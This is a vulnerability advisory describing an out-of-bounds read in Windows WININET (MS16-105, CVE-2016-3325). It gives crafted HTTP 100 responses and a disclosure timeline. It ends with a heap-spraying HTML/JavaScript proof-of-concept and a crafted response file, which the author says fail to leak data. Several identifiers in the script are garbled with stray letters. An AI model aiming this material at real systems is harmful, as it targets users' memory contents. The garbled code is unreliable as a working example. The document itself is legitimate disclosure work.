WININET CHttpHeaderParser::ParseStatusLine Out-Of-Bounds Read

`Throughout November, I plan to release details on vulnerabilities I  
found in web-browsers which I've not released before. This is the  
eight entry in that series, although this particular vulnerability does  
not just affect web-browsers, but all applications that use WININET to  
make HTTP requests.  
  
The below information is available in more detail on my blog at  
http://blog.skylined.nl/20161110001.html. There you can find a repro  
that triggered this issue in addition to the information below.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
WININET CHttpHeaderParser::ParseStatusLine out-of-bounds read  
=============================================================  
(MS16-105, CVE-2016-3325)  
  
Synopsis  
--------  
A specially crafted HTTP response can cause the `CHttpHeaderParser::  
ParseStatusLine` method in WININET to read data beyond the end of a  
buffer. The size of the read can be controlled through the HTTP  
response. An attacker that is able to get any application that uses  
WININET to make a request to a server under his/her control may be able  
to disclose information stored after this memory block. This includes  
Microsoft Internet Explorer.  
  
Known affected versions, attack vectors and mitigations  
-------------------------------------------------------  
* WININET.dll  
The issue was first discovered in pre-release Windows 10  
fbl_release.140912-1613, which contained WININET.DLL version  
11.00.9841.0. This vulnerability appears to have been present in  
all versions of Windows 10 since, up until the issue was addressed in  
August 2016. As far as I can tell WININET is widely used by Microsoft  
applications to handle HTTP requests. All these applications may be  
vulnerable to the issue, though it may be hard to exploit in most (if  
not all). No mitigations against the issue are known.  
  
* Microsoft Internet Explorer  
XMLHttpRequest can be used to trigger this issue - I have not tried  
other vectors. To exploit the vulnerability, Javascript is most  
likely required, so disabling Javascript should mitigate it.  
  
* Microsoft Edge  
XMLHttpRequest can be used to trigger this issue - I have not tried  
other vectors. To exploit the vulnerability, Javascript is most  
likely required, so disabling Javascript should mitigate it.  
  
* Microsoft Windows Media Player  
Opening a link to a media file on a malicious server can be used to  
trigger the issue.  
  
Description  
-----------  
When WININET is processing a `HTTP 100` response, it expects another  
HTTP response to follow. WININET stores all data received from the  
server into a buffer, uses a variable to store an index into this buffer  
to track where it is currently processing data, and uses another  
variable to store the length of the remaining data in the buffer.  
  
When processing the headers of the `HTTP 100` request, the code updates  
the index correctly, but does not decrement the length variable. When  
the code processes the next request, the length variable is too large,  
which can cause the code to read beyond the end of the data received  
from the server. This may cause it to parse data stored in the buffer  
that was previously received as part of the current HTTP response, and  
can even cause it to do the same for data read beyond the end of the  
buffer. This can potentially lead to information disclosure.  
  
The larger the `HTTP 100` response is, the more bytes the code reads  
beyond the end of the data. Here are some example responses and their  
effect:  
  
"HTTP 100\r\n\r\nX" (12 bytes in HTTP 100 response)  
=> read "X" and the next 11 bytes in memory as the next response.  
"HTTP 100\r\n\r\nXXXX" (12 bytes in HTTP 100 response)  
=> read "XXXX" and the next 8 bytes in memory as the next response.  
"HTTP 100XXX\r\n\r\nX" (15 bytes in HTTP 100 response)  
=> read "X" and the next 14 bytes in memory as the next response.  
"HTTP 100XXX........XXX\r\n\r\nX..." (N bytes in HTTP 100 response)  
=> read "X" and the next (N-1) bytes in memory as the next response.  
  
Exploit  
-------  
This issue is remarkably similar to [an issue in HTTP 1xx response  
handling I found in Google  
Chrome][https://code.google.com/p/chromium/issues/detail?id=299892] a  
while back. That issue allowed disclosure of information from the main  
process' memory through response headers. I attempted to leak some data  
using this vulnerability by using the following response:  
  
"HTTP 100XXX........XXX\r\nHTTP 200 X"  
  
I was hoping this would cause the OOB read to save data from beyond the  
end of the `HTTP 200` reponse in the `statusText` property of the  
`XMLHttpRequest`, but I did not immediately see this happen; all I got  
was "OK" or an empty string.  
  
Unfortunately, I did not have time to reverse the code and investigate  
further myself. All VCPs I submitted the issue to rejected it because  
they though it was not practically exploitable.  
  
Time-line  
---------  
* October 2014: This vulnerability was found through fuzzing.  
* October-November 2014: This vulnerability was submitted to ZDI,  
iDefense and EIP.  
* November-December 2014: ZDI, iDefense and EIP all either reject the  
submission because Windows 10 is in pre-release, or fail to respond.  
* August 2015: re-submitted to ZDI, iDefense and EIP, since Windows 10  
is now in public release.  
* September-October 2015: ZDI, iDefense and EIP all either reject the  
submission because they do not consider it practically exploitable,  
or fail to respond.  
* June 2016: This vulnerability was reported to Microsoft with a 60-day  
deadline to address the issue.  
* September 2016: The vulnerability was address by Microsoft in  
MS16-105.  
* November 2016: Details of this issue are released.  
  
Cheers,  
  
SkyLined  
  
  
  
Repro.html  
  
<!DOCTYPE html>  
<html>  
<head>  
<script>  
// This PoAC attempts to exploit a memory disclosure bug in WININET.dll  
// that affects Microsoft Edge and Internet Explorer. However, it fails  
// to reveal any information as intended. You might want to use this as  
// a starting point for further investigation.  
// See http://blog.skylined.nl/20161110001.html for details.  
window.onerror = function (a, b, c) {  
alert([a,b,c].join("\r\n"));  
}  
var aauAHeap = [];  
function spray() {  
aauAHoles = [];  
for (var u = 0; u < 0x10000; u++) {  
var auAHole = new Uint32Array(0x200 / 4);  
aauAHoles.push(auAHole);  
auAHole[0] = 0xADEADBEEF;  
auAHole[1] = 0x0D0A0D0A;  
auAHole[2] = 0x0;  
var auAHeap = new Uint32Array(0x200 / 4);  
aauAHeap.push(auAHeap);  
auAHeap[0] = 0x41424344;  
auAHeap[1] = 0x0D0A0D0A;  
auAHeap[2] = 0x0;  
}  
};  
function sendARequest() {  
spray();  
var oAXHR = new XMLHttpARequest();  
oAXHR.open("GET", "Response.http?" + new Date().valueAOf());  
oAXHR.send();  
oAXHR.addAEventAListener("load", function() {   
alert("load: " + JSON.stringify(oAXHR.status) + " " + JSON.stringify(oAXHR.statusAText) + "\r\n" +  
JSON.stringify(oAXHR.responseAText));  
setATimeout(sendARequest, 1000);  
});  
oAXHR.addAEventAListener("error", function() {   
alert("error: " + JSON.stringify(oAXHR.status) + " " + JSON.stringify(oAXHR.statusAText) + "\r\n" +  
JSON.stringify(oAXHR.responseAText));  
setATimeout(sendARequest, 1000);  
});  
}  
sendARequest();  
// This work by SkyALined is licensed under a Creative Commons  
// Attribution-Non-Commercial 4.0 International License.   
</script>  
</head>  
</html>  
  
Response.http  
  
HTTP/1.1 100 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  
  
HTTP/1.1 200 X  
  
  
  
`